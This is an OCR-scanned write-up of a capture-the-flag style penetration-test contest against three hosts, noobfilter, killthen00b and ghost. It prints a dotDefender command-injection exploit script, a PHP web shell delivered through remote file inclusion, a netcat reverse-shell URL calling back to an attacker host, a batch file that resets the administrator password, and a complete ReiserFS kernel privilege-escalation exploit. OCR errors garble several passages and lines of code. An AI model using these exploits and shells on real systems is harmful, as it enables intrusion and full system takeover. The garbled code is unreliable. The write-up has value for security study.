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1. Introduction
“How strong is your fu?” contest contain three parts.

e noobfilter
e killthen00b
e ghost

The main goal of that penetration is getting private information from specific file.



2. Penetration flow
This section describes the work flow of the penetration test. Penetration testing flow graphically represented on Figure 1

noobfilter }-———| Simple WAF admin password | -——+| WAF remote code execution |

Pentest ghost —-[ Simple Text File Login remate file inclusion ]— —-[ Linux kernel ReiserFS privilege E‘S»CE‘HEIﬁﬂﬁI

killthen0Ob |-——| Complete FTP server directory traversal |-——| Surgemail code execution under SYSTEM account |

Figure 1 Penetration test flow



3. noobfilter

The noobfilter system is represented by two identical hosts (Table 1):

Table 1 noobfilter hosts

Hostname IP adress

wwwl1.noob-filter.com 67.23.72.4
www?2.noob-filter.com 67.23.72.5

Noobfilter is a web server with a main page show on Figure 1.

"Can 300 h@xOr mee?"

Figure 2 Noobfilter main page

Any attempts to send some malicious input lead to blocking by Web Applocation Firewall, returning
page with word “HAHAHA!” in case of error.

Little research reveals meta tag in main page HTML code:

<meta name="description" content="Applicure 1is the leading provider of web
application security. We create products for web application protection,
including web application firewall, ISA security and IIS security." />



According to Google these tag belongs to Applicure dotDefender WAF. WAF control panel usually
located at /dotDefender/ path. In our case that path is password protected. From “installation guide” of
dotDefender known that default username is admin, but there is no default password. Using
Metasploit Framework password was easily brutted (Figure 3). WAF control panel username and
password: admin:password.

Site Management

dotDefender license will expire in 17 days.,

dotDefender attack protection updates are now available.

dotD efender is enabled
The corfigration has changed. Vo will need to refresh for the changes to take effect.

faarlocalfAP P Curedbinfappowectl module is active

Stap dotDefender

Figure 3 WAF control panel

dotDefender is vulnerable to remote command execution According to seclist.org mail archive'. Using
specially crafted exploit (APPENDIX A) content of secret file:

/0opt/0c2b7b8071ee658e1c957d3b024FF872d2/n00bSecret. txt
It’s content:

916cT32020cad996aa73f13b3ae3a352ef55ch5443e14ec1233a5121003005391034c71¥870680
9bdc860662ed9b21eft917a97e82bd3b983cba04084fc9c81ce3

! http://seclists.org/fulldisclosure/2009/Nov/357



4. Killthen00b

Killthen0O0b is a server running under Microsoft Windows 7. See nmap scan result below:

21/tcp open Ttp Complete FTP server v3.3.0
25/tcp open smtp Surgemail smtpd 3.8k4-4

80/tcp open http Surgemail webmail (DNews based)
106/tcp open pop3pw Qualcomm poppassd

110/tcp open pop3 SurgeMail pop3d 3.8k4-4

143/tcp open iImap SurgeMail imapd 3.8k4-4
366/tcp open smtp Surgemail smtpd 3.8k4-4
465/tcp open ssl/smtp Surgemail smtpd 3.8k4-4

587/tcp open smtp Surgemail smtpd 3.8k4-4

993/tcp open ssl/imap SurgeMail imapd 3.8k4-4

995/tcp open ssl/pop3 SurgeMail pop3d 3.8k4-4
3389/tcp open ms-term-serv?

7025/tcp open ssl/http DNews Web Based Manager
7443/tcp open ssl/http Surgemail webmail (DNews based)

There are lots of vulnerabilities, but the easiest way to exploit that box is following:

Login to ftp service
exploit ftp service
exploit web service

P wnN e

get content of proof file

Complete FTP server is prone to a vulnerability’ allowing to traverse ftp root directory. Exploiting ftp
server make possible to download and upload many files on host, also it makes possible to upload
executable files to Surgemail scripts directory.

According to contest hints there is a user devil with password killthen00b on ftp server. After login to ftp
server current working directory was changed by the following command:

(o7o I N N N N W I NN

Following batch file was uploaded to Surgemail scripts directory:

net user administrator newpass

By executing command administrator password will be changed to new value. It is possible because

webserver is running under SYSTEM account and any script executed by Surgemail gain system
privileges.

Changing password by browsing http://192.168.6.70/scripts/1.bat allows to login to system using
remote desktop protocol (Figure 1).

? http://www.securityfocus.com/bid/39802


http://192.168.6.70/scripts/1.bat

#4192.168.6.70 - Remole Deskiop

jotepad
ile Edit Format VYiew Help
k61b0clbf7lze728%efeect778bleile

Computer

nteractive?

SABLE, IGHORES_SHUTDOWHN>

Conkro

Ethernet adapter Local Area Connection:

Connection—specific DHS Buffix H

Description . . . . .. Intel{R> PRO-188B MT Hetwork Connection
Physical Address. . - Al-58-56—-BC-1C—67

DHCP Enabled. . . . . . . . . No

Autoconf iguration Enabled . . Yes

IPv4 Address. . . . . . . . . 192.168.6.78¢Preferred?

Subnet Mask . . . . . . . . . 255 _255.255.8

Default Gateway . e e e e 192 .168.6.1

DHS Servers . . . . . . . . . 192.168.6.1

HetBIOS over Tepip. . - . . . = Enahled

Tunnel adapter isatap.{26971C4E-6F15-4BA?-BA27-59753F1627243:

2[5 22 s S0 AM

Si6fz010

Figure 4 killthen00b desktop

By gaining access to RDP and file proof.txt box killthenOOb was totally compromised.



5. ghost

Ghost is a web server containing login page, no vulnerabilities on which were found. Brute forcing
default file and directories names by Metasploit Framework http://192.168.6.66/1/ was discovered.

Discovered directory contains vulnerable script Simple Text-File Login which prone to remote file
inclusion vulnerability®. Exploiting vulnerability special crafted file was included:

<?php system($_GET[cmd]); ?>

By browsing link:
http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.128/s&cmd=/bin/nc.traditional
%20¢%20/bin/bash%20192.168.6.128%204444

Access to command line by reverse shell was gained.

It was noticed that there is no mounted file system /apachelogs

cat /etc/fstab
# /etc/fstab: static file system information.

#
# Use 'blkid -o value -s UUID' to print the universally unique
identifier

# for a device,; this may be used with UUID= as a more robust way to name
# devices that works even 1f disks are added and removed. See fstab(5).

#

# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
/dev/mapper/ghost-root / ext4 errors=remount-ro 0

1

# /boot was on /dev/sdab5 during installation
UUID=f9f46813-a78a-42e8-a007-53308212ee26 /boot ext2
defaults 0 2

/dev/sdbl /apachelogs reiserfs

user,noauto,rw,exec,suid,user xattr 0 2

/dev/sdcl /tmp ext2 noexec,nosuid, rw 0
0

/dev/mapper/ghost-swap 1 none swap sSw 0

0

/dev/scd0 /media/cdrom0 udf,1509660 user,noauto,exec,utf8 0

0

/dev/fd0 /media/floppy0 auto rw,user,noauto,exec,utf8 0

0

mount /apachelogs

ghost system is running under rather old Linux kernel:

Linux ghost 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
1686 GNU/Linux

Kernel is prone to privilege escalation vulnerability®. Exploit for vulnerability was located on the
Internet® and modified according to ghost specific features (APPENDIX B).

Exploiting Linux kernel allow totally compromise ghost box and get content of secret file:

id
uid=0 (root) gid=0(root) groups=33(www-data)

? http://www.securityfocus.com/bid/32811
* http://www.securityfocus.com/bid/39344
> http://downloads.securityfocus.com/vulnerabilities/exploits/39344.py



ls -la /root/

total 72

drwx—-—-—---
drwxr-Xr-x
drwx-—-—-—---
FW———————
—Irw-r—-r—-

drwXr—-xr-x
drwxr-xr-x
-rw—r—-r—-
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cat /root/proof.txt
sDSjnSo22bSel2sadjdjrudfknk4455qgndlas4

root
root
root
root
root
root
root
root
root
root
root
root
root
root

root
root
root
root
root
root
root
root
root
root
root
root
root
root

4096
4096
4096
9044
2227
4096
4096
2110
84
140
4096
4096
11024
39

May
May
Apr
May
Apr
Apr
Apr
Apr
May
Nov
May
May
May
May

29

27
29
29

[N N RO I AN

15:41
05:45
21:24
15:52

2009
22:20
21:24

2006
15:09

2007
05:11
21:53
15:41

.aptitude
.bash _history
.bashrc
.cache
.debtags
.htaccess
.lesshst
.profile
.Ssh

.vim
.viminfo

15:21 proof.txt



APPENDIX A

import urllib2
import urllib

url="http://wwwl.noob-filter.com/dotDefender/index.cgi’

data='sitename=dotdefeater&deletesitename=dotdefeater;id;1s -al../;pwd;find /
-name n0O0bSecret.txt -print,;&action=deletesite&linenum=15"
def conn():

req = urllib2.Request (url,data)

req.add header ('User-Agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows
NT) ")

req.add header ("Authorization", "Basic %s" %
'admin:password'.encode ('base64'))

req.add header ("Referer","http://wwwl.noob-
filter.com/dotDefender/index.cgi")

res = urllib2.urlopen (req)

print res.read()

conn ()



APPENDIX B

#Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation expoit

import os, sSys

SHELL

XATTR =
"\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00"

'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'

def err(txt):
print '[-] error: $%$s' $ txt
sys.exit (1)

def msg (txt) :
print '[+] $%s' $ txt

def main():
msg ('checking for reiserfs mount with user xattr mount option')

f = open('/etc/fstab')
for line in f:
i1f 'reiserfs' in line and 'user xattr' in line:
break
else:
err('failed to find a reiserfs mount with user xattr')
f.close()

msg ('checking for private xattrs directory at /.reiserfs priv/xattrs')

if not os.path.exists('/apachelogs/.reiserfs priv/xattrs'):
err('failed to locate private xattrs directory')

msqg ('preparing shell in /tmp')

f = open ('/apachelogs/data/team-edward.c', 'w')

f.write (SHELL)

f.close()

msqg ('capturing pre-shell snapshot of private xattrs directory')

pre = set(os.listdir('/apachelogs/.reiserfs priv/xattrs'))

msg ('compiling shell in /tmp')

ret = os.system('gcc-4.4 -w /apachelogs/data/team-edward.c -o
/apachelogs/data/team-edward’)
if ret != 0:

err('error compiling shell, you need gcc')
msqg ('setting dummy xattr to get reiserfs object id')
os.system('setfattr -n "user.hax" -v "hax" /apachelogs/data/team-edward')
if ret != 0:
err('error setting xattr, you need setfattr')
msqg ('capturing post-shell snapshot of private xattrs directory')

post = set(os.listdir('/apachelogs/.reiserfs priv/xattrs'))

objs = post.difference (pre)



Q

msqg ('found %s new object ids' % len(objs))

for obj in objs:
msg ('setting cap setuid/cap setgid capabilities on object id %s' %

obj)
f = open('/apachelogs/.reiserfs priv/xattrs/%s/security.capability’ %
obj, 'w')
f.write (XATTR)
f.close()
msqg ('spawning setuid shell...')

os.system('/apachelogs/data/team-edward")

if name == ' main "

main ()



